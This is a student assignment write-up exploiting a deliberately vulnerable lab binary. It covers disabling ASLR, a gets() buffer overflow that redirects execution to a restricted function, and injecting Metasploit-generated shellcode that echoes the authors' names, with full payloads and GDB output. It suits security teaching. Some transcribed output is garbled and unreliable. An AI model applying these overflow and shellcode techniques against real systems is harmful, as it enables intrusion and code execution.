

# Operating Systems & Security

## Assignment 1

Jana Falah 202100869

Leen Al-Mousa

20210268

## Contents

Objective 1: Gain Access to the Restricted Area .....	2
Initial Analysis .....	2
Analyzing the disassembly & decompiled code.....	3
Crafting Our Exploit.....	4
Objective 2: Inject a Shellcode that Prints Our Names .....	5
Generating the Shellcode .....	5
Finding where the shellcode will be saved in the stack .....	6
Executing the shellcode .....	6
Objective 3: Extract System Calls .....	7

## Objective 1: Gain Access to the Restricted Area

For this assignment we did the initial exploit on a 32-bit 2023 version of Kali linux, but in the end the exploit worked on a 64-bit machine as well

### Initial Analysis

First we checked the executable using the file command, we can see it's a 32-bit ELF executable that is statically linked and not stripped.

While an executable being statically linked makes the disassembling take a longer time, the fact that it wasn't stripped made analyzing functions and their purpose much easier.

```
(kali@kali)-[~/Desktop]
└─$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0218d30f003fd4f68df3dbdbb9863bcfe6cb5bb, not stripped

(kali@kali)-[~/Desktop]
└─$ chmod +x vuln
```

Then we used the **checksec** command to get more details about the binary

```
$ checksec vuln
[*] Checking for new versions of pwntools
To disable this functionality, set the content:
Or add the following lines to ~/.pwn.conf or ~/.pwnrc
[update]
interval=never
[*] A newer version of pwntools is available on pypi
Update with: $ pip install -U pwntools
[*] '/home/kali/Desktop/vuln'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
```

We went ahead and turned off the ASLR on our machine to make the exploit easier

```
(kali@kali)-[~/Desktop]
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for kali:
0
```

## Analyzing the disassembly & decompiled code

For this step we used both GDB and ghidra.

```
(kali@kali)-[~/Desktop]
$ gdb ./vuln
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 154 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
----- tip of the day (disable with set show-tips off) -----
Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x080481a8 _init
0x080482b0 backtrace_and_maps
0x080483cc detach_arena.part
0x080483e8 read_int
0x08048435 read_int
0x08048482 oom
0x080484a0 fini
0x080484b0 init_cacheinfo
0x08048736 _start
0x08048760 __x86.get_pc_thunk.bx
0x08048770 deregister_tm_clones
0x080487a0 register_tm_clones
0x080487e0 __do_global_ctors_aux
0x08048820 frame_dummy
0x0804887c RestrictedFunction
0x0804889c inputDataProcessing
0x080488d8 main
0x08048900 generic_start_main
```

From the screenshot above we can see 3 functions that seem interesting: RestrictedFunction, inputDataProcessing and the main function. We make note of the restricted function's address as we will be needing it later.

After disassembling the main function we can see that our input isn't entered there.

```

pwndbg> disassemble main
Dump of assembler code for function main:
0x080488d8 <+0>:    push    ebp
0x080488d9 <+1>:    mov     ebp,esp
0x080488db <+3>:    push    0x80bbfd8
0x080488e0 <+8>:    call    0x804f4c0 <puts>
0x080488e5 <+13>:   add     esp,0x4
0x080488e8 <+16>:   call    0x804889c <inputDataProcessing>
0x080488ed <+21>:   mov     eax,0x0
0x080488f2 <+26>:   leave
0x080488f3 <+27>:   ret
End of assembler dump.

```

At this point ghidra has finished disassembling the binary and we can easily view the decompiled code

```

C: Decompile: inputDataProcessing - (vuln)
1
2 void inputDataProcessing(void)
3
4 {
5     undefined auStack_fe [250];
6
7     puts(&UNK_080bbfa1);
8     gets(auStack_fe);
9     printf(&UNK_080bbfbf,auStack_fe);
10    return;
11 }
12

```

From the screenshot above we can see that the buffer is 250 bytes which will be scanned using the gets function, and since we know gets is a vulnerable function we can exploit it to gain access to the restricted function.

## Crafting Our Exploit

Since the buffer was 250 bytes and we also need to overwrite the EBP before overwriting the EIP so that we can successfully redirect the program to the restricted function then we need to fill 254 bytes and then send the address of the restricted function.

So we ran this command inside GDB

```
run <<< $(python2 -c 'print "A"*254 + "\x7c\x88\x04\x08"')
```

```
[*] 1 (process 5515) exited normally.
pwndbg> run <<< $(python2 -c 'print "A"*254 + "\x7c\x88\x04\x08"')
Starting program: /home/kali/Desktop/vuln <<< $(python2 -c 'print "A"*254 + "\x7c\x88\x04\x08"')
Welcome to this program
Please enter your first name:
Nice to meet you Mr: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|*
You have accessed this restricted function!
Now try executing a shellcode of your choice

Program received signal SIGSEGV, Segmentation fault.
```

## Objective 2: Inject a Shellcode that Prints Our Names

### Generating the Shellcode

Since metasploit framework is already installed on kali linux we went ahead and ran the command **msfconsole**

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use payload/linux/x86/exec
msf6 payload(linux/x86/exec) > set CMD echo "Jana Falah , Leen Al Mousa"
CMD => echo Jana Falah , Leen Al Mousa
msf6 payload(linux/x86/exec) > generate
# linux/x86/exec - 67 bytes
# https://metasploit.com/
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=echo Jana Falah , Leen Al Mousa,
# NullFreeVersion=false
buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x20\x00\x00" +
"\x00\x65\x63\x68\x6f\x20\x4a\x61\x6e\x61\x20\x46\x61\x6c" +
"\x61\x68\x20\x2c\x20\x4c\x65\x65\x6e\x20\x41\x6c\x20\x4d" +
"\x6f\x75\x73\x61\x00\x57\x53\x89\xe1\xcd\x80"
msf6 payload(linux/x86/exec) > █
```

We just set the CMD variable which is the command the shellcode will run to echo our names and then generated the shellcode

## Finding where the shellcode will be saved in the stack

We set a breakpoint right before where the program ends then ran the program.

```
----- tip of the day (disable with set show-tips off) -----
Use the killall command to kill all specified threads (via their ids)
pwndbg> b *(main+26)
Breakpoint 1 at 0x080488f2
pwndbg> r
Starting program: /home/kali/Desktop/vuln
Welcome to this program
Please enter your first name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you Mr: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080488f2 in main ()
```

After giving it some A's as an input we started analyzing the stack and found the address they were stored at.

```
pwndbg> x/200x $esp-300
0xffffceac: 0x080eb200 0x080bbfbf 0xffffced4 0x00000001
0xffffcebc: 0x080481a8 0x080eb00c 0x00000000 0x080488d2
0xffffcecc: 0x080bbfbf 0xffffced6 0x41410000 0x41414141
0xffffcedc: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffceec: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcefc: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcf0c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcf1c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcf2c: 0x41414141 0x41414141 0x41414141 0x080ee000
0xffffcf3c: 0x00000018 0x080531d8 0x080eb200 0x080ee0e0
0xffffcf4c: 0x00000000 0x080eb200 0x00000018 0x0000000a
0xffffcf5c: 0x080bbfd8 0x080529bd 0x080eb200 0x080bbfd8
0xffffcf6c: 0x080eb200 0x08053143 0x080eb200 0x080ee0e0
0xffffcf7c: 0x00000018 0x00000017 0x00000017 0x080eb200
```

## Executing the shellcode

Since we gathered everything needed for our exploit we used the same command in Objective 1 but instead of just overwriting the EIP to gain access to a function we used the buffer overflow vulnerability to execute the shellcode we generated

```
run <<< $(python2 -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x20\x00\x00\x00\x65\x63\x68\x6f\x20\x4a\x61\x6e\x61\x20\x46\x61\x6c\x61\x68\x20\x2c\x20\x4c\x65\x65\x6e\x20\x41\x6c\x20\x4d\x6f\x75\x73\x61\x00\x57\x53\x89\xe1\xcd\x80" + "\x90"*87 + "\xdc\xce\xff\xff" ')
```

```

kali:~$ run -m $python2 -c "print '\x90'*100 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x20\x00\x00\x00\x65\x63\x68\x6f\x20\x4a\x61\x6e\x61\x20\x46\x61\x6c\x61\x68\x20\x2c\x20\x4c\x65\x65\x6e\x20\x41\x6c\x20\x4d\x6f\x75\x73\x61\x00\x57\x53\x89\xe1\xcd\x80' + '\x90'*87 + '\xdc\xce\xff\xff'"
Starting program: /home/kali/Desktop/vuln -m $python2 -c "print '\x90'*100 + '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x20\x00\x00\x00\x65\x63\x68\x6f\x20\x4a\x61\x6e\x61\x20\x46\x61\x6c\x61\x68\x20\x2c\x20\x4c\x65\x65\x6e\x20\x41\x6c\x20\x4d\x6f\x75\x73\x61\x00\x57\x53\x89\xe1\xcd\x80' + '\x90'*87 + '\xdc\xce\xff\xff'"
Welcome to this program
Please enter your first name:
Nice to meet you Mr: *****
process 7849 is executing new program: /usr/bin/dash
[thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Jana Pila > Jana Pila
[Inferior 1 (process 7849) exited normally]
x0bfh-c#46/sh

```

## Objective 3: Extract System Calls

For this part we could use either ltrace or strace, but since strace shows a more detailed output we used it instead.

```

kali:~$ strace ./vuln
execve("./vuln", ["/vuln"], 0x7fffffd30 /* 55 vars */) = 0
[ Process PID=12766 runs in 32 bit mode. ]
uname({sysname="Linux", nodename="kali", ...}) = 0
brk(NULL) = 0x80edd40
brk(0x80edd40) = 0x80edd40
set_thread_area({entry_number=-1, base_addr=0x80ed840, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
readlink("/proc/self/exe", "/home/kali/Desktop/vuln", 4096) = 23
brk(0x818ed40) = 0x818ed40
brk(0x818f000) = 0x818f000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0), ...}) = 0
write(1, "Welcome to this program\n", 24)Welcome to this program
) = 24
write(1, "Please enter your first name:\n", 30)Please enter your first name:
) = 30
fstat64(0, {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0), ...}) = 0
read(0, "jana\n", 1024) = 5
write(1, "Nice to meet you Mr: jana\n", 26)Nice to meet you Mr: jana
) = 26
exit_group(0) = ?
+++ exited with 0 +++

```